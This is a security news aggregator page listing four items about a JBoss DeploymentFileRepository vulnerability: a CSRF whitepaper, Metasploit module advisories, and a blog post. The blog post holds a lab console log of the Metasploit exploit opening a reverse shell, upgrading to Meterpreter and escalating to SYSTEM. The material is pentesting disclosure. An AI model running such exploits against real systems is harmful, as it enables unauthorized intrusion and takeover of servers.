jetlib.sec » Tags » deploymentfilerepository

Feeds

133357 items (0 unread) in 27 feeds

• 1337day (was: Inj3ct0r, 1337db)
• OSVDB Vulnerabilities
• Exploit-DB
• SecurityFocus Vulnerabilities
• Bugtraq
• Full Disclosure
• XSSed
• Packet Storm Security Headlines
• Packet Storm Security Advisories
• Packet Storm Security Exploits
• Packet Storm Security Recent Files
• Packet Storm Security Tools
• Packet Storm Security Misc. Files
• Sophos security news
• Sophos product advisories
• Penetration Testing
• SecuriTeam
• BackTrack Linux Forums
• Threatpost
• SecDocs
• carnal0wnage.attackresearch.com
• Carnal0wnage
• Kernel Fun
• Darknet
• The Exploitant
• Hack a Day
• Wirevolution

4 items tagged "deploymentfilerepository"

Related tags: vulnerability [+], txt [+], directory traversal vulnerability [+], arbitrary files [+], arbitrary code [+], shell session [+], msf [+], meterpreter [+], mbean [+], jsp command [+], jboss as deploying wars with the deploymentfilerepository mbean [+], jboss [+], information connection [+], forgery [+], application server [+], Pentesting [+]

• June 16, 2010
• 0:03

  2010-06-15-JBoss-AS-Deploying-WARs-with-the-DeploymentFileRepository-MBean.pdf

   » ‎ Packet Storm Security Misc. Files
  Whitepaper called JBoss Application Server - Deploying WARs with the DeploymentFileRepository MBean. It explains how to deploy WAR files with the DeploymentFileRepository MBean and how this is even possible with Cross Site Request Forgery (CSRF).

  Tags:  deploymentfilerepository jboss-as-deploying-wars-with-the-deploymentfilerepository-mbean mbean jboss forgery application-server  

• May 09, 2010
• 8:24

  Metasploit jboss deployment file repository exploit

   » ‎ Carnal0wnage
  MC pushed out a new exploit today (jboss_deploymentfilerrepository)
  so while it lists 4.x as vuln, actually several other versions are vulnerable as well including 6.0.0M1 and 5.1.0 :-)
  

  msf exploit(jboss_deploymentfilerepository) > exploit
  
  [*] Started reverse handler on 192.168.1.101:4444
  [*] Triggering payload at '/web-console/HYQ.jsp'...
  [*] Command shell session 3 opened (192.168.1.101:4444 -> 192.168.1.101:57796) at Sun May 09 11:20:31 -0400 2010
  
  Microsoft Windows [Version 5.2.3790]
  (C) Copyright 1985-2003 Microsoft Corp.
  
  C:\Documents and Settings\Administrator\Desktop\jboss-6.0.0.M1\jboss-6.0.0.M1\bin>whoami
  whoami
  win2k3lab\administrator
  
  C:\Documents and Settings\Administrator\Desktop\jboss-6.0.0.M1\jboss-6.0.0.M1\bin>^Z
  Background session 3? [y/N]  y
  msf exploit(jboss_deploymentfilerepository) > sessions -l
  
  Active sessions
  ===============
  
  Id  Type   Information  Connection
  --  ----   -----------  ----------
  3   shell               192.168.1.101:4444 -> 192.168.1.101:57796
  
  msf exploit(jboss_deploymentfilerepository) > sessions -u 3
  
  msf exploit(jboss_deploymentfilerepository) >
  msf exploit(jboss_deploymentfilerepository) > [*] Meterpreter session 4 opened (192.168.1.101:4444 -> 192.168.1.101:36591) at Sun May 09 11:21:32 -0400 2010
  
  msf exploit(jboss_deploymentfilerepository) > sessions -l
  
  Active sessions
  ===============
  
  Id  Type         Information                                      Connection
  --  ----         -----------                                      ----------
  3   shell                                                         192.168.1.101:4444 -> 192.168.1.101:57796
  4   meterpreter  win2k3lab\Administrator @ win2k3lab  192.168.1.101:4444 -> 192.168.1.101:36591
  
  msf exploit(jboss_deploymentfilerepository) > sessions -i 4
  [*] Starting interaction with 4...
  
  meterpreter > getuid
  Server username: win2k3lab\Administrator
  meterpreter > use priv
  Loading extension priv...success.
  meterpreter > getsystem
  ...got system (via technique 1).
  meterpreter > getuid
  Server username: NT AUTHORITY\SYSTEM
  meterpreter > pwd
  C:\Documents and Settings\Administrator\Desktop\jboss-6.0.0.M1\jboss-6.0.0.M1\bin
  meterpreter > 

  

  Tags:  msf deploymentfilerepository meterpreter jsp-command shell-session information-connection Pentesting  

• May 08, 2010
• 10:01

  jboss_deploymentfilerepository.rb.txt

   » ‎ Packet Storm Security Recent Files
  This Metasploit module exploits a directory traversal vulnerability in the DeploymentFileRepository class in JBoss Application Server (jbossas) 3.2.4 through 4.0.5. This vulnerability allows remote authenticated (and unauthenticated) users to read or modify arbitrary files, and possibly execute arbitrary code.

  Tags:  txt vulnerability deploymentfilerepository directory-traversal-vulnerability arbitrary-files arbitrary-code  

• 10:00

  jboss_deploymentfilerepository.rb.txt

   » ‎ Packet Storm Security Exploits
  This Metasploit module exploits a directory traversal vulnerability in the DeploymentFileRepository class in JBoss Application Server (jbossas) 3.2.4 through 4.0.5. This vulnerability allows remote authenticated (and unauthenticated) users to read or modify arbitrary files, and possibly execute arbitrary code.

  Tags:  txt vulnerability deploymentfilerepository directory-traversal-vulnerability arbitrary-files arbitrary-code